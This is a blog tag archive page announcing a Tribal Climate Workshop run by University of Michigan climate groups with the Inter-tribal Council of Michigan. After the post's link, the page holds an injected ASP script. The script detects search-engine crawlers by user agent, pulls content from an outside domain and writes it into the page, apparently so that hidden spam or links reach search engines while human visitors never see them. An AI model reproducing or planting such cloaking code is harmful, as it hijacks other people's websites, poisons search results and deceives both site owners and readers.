Tag Archive: tribes

Sep 25

Tribal Climate Workshop

  Registration is now open for the Tribal Climate workshop! The University of Michigan’s Department of Climate and Space Sciences and Engineering and at the Great Lakes Integrated Sciences and Assessments (GLISA) office has partnered with Inter-tribal Council of Michigan to facilitate this climate change discussion with Michigan Tribes. This is a gathering of tribal staff to …

Continue reading »

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2017/09/tribal-climate-workshop/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>